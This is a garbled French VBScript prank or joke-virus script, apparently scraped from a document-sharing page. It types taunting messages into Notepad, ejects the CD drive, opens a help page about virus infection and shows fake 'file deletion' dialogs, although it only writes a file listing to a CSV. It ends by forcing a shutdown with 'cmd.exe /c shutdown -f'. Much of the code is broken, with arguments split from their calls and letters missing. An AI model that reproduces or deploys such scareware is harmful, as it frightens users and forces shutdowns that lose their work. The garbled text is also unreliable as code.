Vous êtes sur la page 1sur 9

set variable=CreateObject("WScript.Shell") variable.Run("C:\WINDOWS\System32\notepad.exe") wscript.sleep 1000 variable.SendKeys ("C") wscript.sleep 150 variable.SendKeys ("o") wscript.sleep 150 variable.

SendKeys ("u") wscript.sleep 100 variable.SendKeys ("c") wscript.sleep 100 variable.SendKeys ("o") wscript.sleep 150 variable.SendKeys ("u") wscript.sleep 150 variable.SendKeys ("!") wscript.sleep 150 variable.SendKeys ("{enter}") variable.SendKeys ("J") wscript.sleep 130 variable.SendKeys ("e") wscript.sleep 140 variable.SendKeys (" ") wscript.sleep 150 variable.SendKeys ("v") wscript.sleep 150 variable.SendKeys ("a") wscript.sleep 150 variable.SendKeys ("i") wscript.sleep 130 variable.SendKeys ("s") wscript.sleep 130 variable.SendKeys (" ") wscript.sleep 170 variable.SendKeys ("m") wscript.sleep 150 variable.SendKeys ("'") wscript.sleep 150 variable.SendKeys ("a") wscript.sleep 100 variable.SendKeys ("m") wscript.sleep 100 variable.SendKeys ("u") wscript.sleep 200 variable.SendKeys ("s") wscript.sleep 150 variable.SendKeys ("e") wscript.sleep 150 variable.SendKeys ("r") wscript.sleep 150 variable.SendKeys (" ") wscript.sleep 150 variable.SendKeys ("u") wscript.sleep 150 variable.SendKeys ("n") wscript.sleep 150 variable.SendKeys (" ") wscript.sleep 150 variable.SendKeys ("p")

wscript.sleep 150 variable.SendKeys ("e") wscript.sleep 150 variable.SendKeys ("u") wscript.sleep 150 variable.SendKeys ("!") wscript.sleep 150 variable.SendKeys ("{enter}") wscript.sleep 1000 variable.SendKeys (".") wscript.sleep 100 variable.SendKeys (".") wscript.sleep 100 variable.SendKeys (".") wscript.sleep 6000 variable.SendKeys ("{enter}") variable.SendKeys ("P") wscript.sleep 150 variable.SendKeys ("o") wscript.sleep 150 variable.SendKeys ("u") wscript.sleep 130 variable.SendKeys ("r") wscript.sleep 130 variable.SendKeys ("q") wscript.sleep 150 variable.SendKeys ("u") wscript.sleep 150 variable.SendKeys ("o") wscript.sleep 150 variable.SendKeys ("i") wscript.sleep 150 variable.SendKeys (" ") wscript.sleep 170 variable.SendKeys ("t") wscript.sleep 150 variable.SendKeys ("u") wscript.sleep 150 variable.SendKeys (" ") wscript.sleep 150 variable.SendKeys ("n") wscript.sleep 150 variable.SendKeys ("'") wscript.sleep 150 variable.SendKeys ("y") wscript.sleep 150 variable.SendKeys (" ") wscript.sleep 150 variable.SendKeys ("c") wscript.sleep 150 variable.SendKeys ("r") wscript.sleep 150 variable.SendKeys ("o") wscript.sleep 150 variable.SendKeys ("i") wscript.sleep 150 variable.SendKeys ("s") wscript.sleep 130 variable.SendKeys (" ")

wscript.sleep 130 variable.SendKeys ("p") wscript.sleep 150 variable.SendKeys ("a") wscript.sleep 150 variable.SendKeys ("s") wscript.sleep 150 variable.SendKeys ("?") wscript.sleep 150 variable.SendKeys ("!") Set wshell=CreateObject("WScript.Shell") wshell.Run"cmd" wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys ("E") ("t") ("") ("l") ("a") ("?")

wscript.sleep 2000 variable.SendKeys ("{enter}") wscript.sleep 150 variable.SendKeys ("N") wscript.sleep 15 variable.SendKeys ("'") wscript.sleep 150 variable.SendKeys ("a") wscript.sleep 150 variable.SendKeys ("i") wscript.sleep 150 variable.SendKeys (" ") wscript.sleep 150 variable.SendKeys ("p") wscript.sleep 150 variable.SendKeys ("a") wscript.sleep 150 variable.SendKeys ("s") wscript.sleep 150 variable.SendKeys (" ") wscript.sleep 150 variable.SendKeys ("p") wscript.sleep 150 variable.SendKeys ("e") wscript.sleep 150 variable.SendKeys ("u") wscript.sleep 150 variable.SendKeys ("r") wscript.sleep 1000 variable.SendKeys ("!")

msgbox"Ouverture du lecteur cd", 64+4096,"Lecteur" Set owmp = CreateObject("WMPlayer.OCX.7") Set colCDROMs = owmp.cdromCollection For d = 0 To colCDROMs.Count - 1 colCDROMs.Item(d).Eject Next msgbox"Tu veux peut etre que je te le ferme ?", vbYesNo+ vbQuestion, "???" For d = 0 to colCDROMs.Count -1 colCDROMs.Item(d).Eject Next wscript.sleep 150 variable.SendKeys ("{enter}") wscript.sleep 150 variable.SendKeys ("F") wscript.sleep 150 variable.SendKeys ("a") wscript.sleep 150 variable.SendKeys ("i") wscript.sleep 150 variable.SendKeys ("s") wscript.sleep 150 variable.SendKeys ("o") wscript.sleep 150 variable.SendKeys ("n") wscript.sleep 150 variable.SendKeys ("s") wscript.sleep 150 variable.SendKeys (" ") wscript.sleep 150 variable.SendKeys ("u") wscript.sleep 150 variable.SendKeys ("n") wscript.sleep 150 variable.SendKeys (" ") wscript.sleep 150 variable.SendKeys ("p") wscript.sleep 150 variable.SendKeys ("e") wscript.sleep 150 variable.SendKeys ("t") wscript.sleep 150 variable.SendKeys ("i") wscript.sleep 150 variable.SendKeys ("t") wscript.sleep 150 variable.SendKeys (" ") wscript.sleep 150 variable.SendKeys ("t") wscript.sleep 150 variable.SendKeys ("o") wscript.sleep 150 variable.SendKeys ("u") wscript.sleep 150 variable.SendKeys ("r") wscript.sleep 150 variable.SendKeys (" ") wscript.sleep 150 variable.SendKeys ("s") wscript.sleep 150

variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys

("u") ("r") (" ") ("l") ("e") (" ") ("n") ("e") ("t") (" ") ("p") ("o") ("u") ("r") (" ") ("s") ("e") (" ") ("d") ("") ("t") ("e") ("n") ("d") ("r") ("e")

Set IE=CreateObject("InternetExplorer.Application") ie.navigate "http://www.commentcamarche.net/faq/32-virus-que-faire-quand-on-estinfecte" ie.visible=1 wscript.sleep 5000 msgbox"Suppression de fichiers en cours", 64+4096,"Suppression" Dim oIE

Dim Dim Dim Dim Dim Dim Dim Dim Dim Dim Dim Dim Dim Dim Dim

Divisor TotalItters Itter oFSO oFldr oFile oCSVFile oShell sFile sPath vSleep sLine x vWindow oApp

On Error Resume Next sPath = Replace(WScript.ScriptFullName, WScript.ScriptName, "") sFile = "FileListing.csv" set oShell = createobject("WScript.Shell") Set oFSO = CreateObject("scripting.filesystemobject") Set oFldr = oFSO.GetFolder(sPath) TotalItters = oFldr.files.Count 'sleep for dirs with few files 'so the user can see the progress If TotalItters > 50 Then vSleep = 0 End If If TotalItters < 10 Then vSleep = 25 End If If TotalItters < 5 then vSleep = 50 End If CreateInstallWindow "Reading Files" 'cant get the window to activate 'this line of code wor s but it 'doesnt seem li e it should if more 'than one IE window is open oShell.AppActivate "Internet Explorer", True Set oCSVFile = oFSO.CreateTextFile(spath & sfile,True) For Each oFile In oFldr.Files 'increase the itter Itter = Itter + Divisor 'create the report sLine = oFile.Path & oFile.Name & "," & oFile.Size & "," & oFile.Type & "," & oF ile.DateCreated 'write the line to the file oCSVFile.WriteLine sline 'itter the line oIE.document.getElementById("hr1").width = Itter 'show the text progress to

oIE.document.getElementById("d1").innerhtml = "Reading File: " & oFile.Name For x = 0 To vSleep WScript.Sleep 1 Next Next oIE.document.getElementById("d1").innerhtml = "Report Created: " & sPath & sFile 'so the user can see the report was created WScript.Sleep 3000 oIE.Quit Sub CreateInstallWindow(sMsg) dim dim dim dim sWidth SHeight SWidthW SHeightW

Set oIE = Nothing Set oIE = CreateObject("InternetExplorer.Application") With oIE .AddressBar = False .ToolBar = False .StatusBar = False .Resizable = False .Navigate("about:blan ") Do Until .readyState = 4: wscript.sleep 100: Loop ' Lets Create the Document With .Document With .ParentWindow ' Lets Center the Document SWidth = .Screen.AvailWidth SHeight = .Screen.AvailHeight SWidthW = .Screen.AvailWidth * .4 SHeightW = .Screen.AvailHeight * .15 .resizeto SWidthW, SHeightW .moveto (SWidth - SWidthW)/2, (SHeight - SHeightW)/2 'Get the divisor for processing the line width Divisor = Round((SWidthW-30) / TotalItters, 4) End With 'load page .WriteLn ("<html>") .WriteLn ("<head>") .WriteLn ("<script language=""vbscript"">") ' Refresh Protection ' NOTE: The following code traps refresh and context ' menu eys to avoid dialog corruption by refreshing.

.WriteLn .WriteLn .WriteLn .WriteLn

("Sub NoRefreshKey ()") ("Select Case window.event. eycode") ("Case 82: SuppressKey= window.event.ctrl ey") ("Case 116: SuppressKey= True")

' NOTE: The following code implements the above subroutines. .WriteLn ("Set document.on eydown= GetRef(""NoRefreshKey"")") .WriteLn ("Set document.oncontextmenu= GetRef(""NoContextMenu"")") .WriteLn .WriteLn .WriteLn .writeln .writeln .WriteLn .WriteLn ("</script>") ("</head>") ("<body>") ("<DIV id='d1'>" & sMsg & "</DIV>") ("<hr id='hr1'; size=20; width=0; align='left'; noshade>") ("</body>") ("</html>")

With .ParentWindow.document.body .style.bac groundcolor = "White" .scroll="no" .style.Font = "10pt 'Arial'" End With .Title = "Progress Bar" oIE.Visible = True WScript.Sleep 100 End With ' document End With ' oIE End Sub msgbox"Suppression termine", 64+4096,"LOL" wscript.sleep 1000 variable.SendKeys ("{enter}") wscript.sleep 100 variable.SendKeys ("O") wscript.sleep 100 variable.SendKeys ("o") wscript.sleep 50 variable.SendKeys ("p") wscript.sleep 50 variable.SendKeys ("s") wscript.sleep 150 variable.SendKeys ("!") wscript.sleep 1000 variable.SendKeys ("B") wscript.sleep 150 variable.SendKeys ("o")

.WriteLn .WriteLn .WriteLn .WriteLn .WriteLn .WriteLn .WriteLn .WriteLn .WriteLn .WriteLn .WriteLn

("End Select") ("If SuppressKey Then") ("window.event. eycode= 0") ("window.event.cancelbubble= True") ("window.event.returnvalue= False") ("End If") ("End Sub") ("Sub NoContextMenu ()") ("window.event.cancelbubble= True") ("window.event.returnvalue= False") ("End Sub")

wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 150 variable.SendKeys wscript.sleep 200 variable.SendKeys wscript.sleep 200 variable.SendKeys wscript.sleep 200 variable.SendKeys wscript.sleep 200 variable.SendKeys wscript.sleep 50 variable.SendKeys wscript.sleep 50 variable.SendKeys wscript.sleep 50 variable.SendKeys

("n") (" ") ("t") ("u") (" ") ("s") ("a") ("i") ("s") (" ") ("q") ("u") ("o") ("i") ("?") (" ") (".") (".") (".") ("B") ("y") ("e")

Set WshShell = Nothing wscript.sleep 1000 Set w=CreateObject("WScript.Shell") go=w.run("cmd.exe /c shutdown -f", 0, true)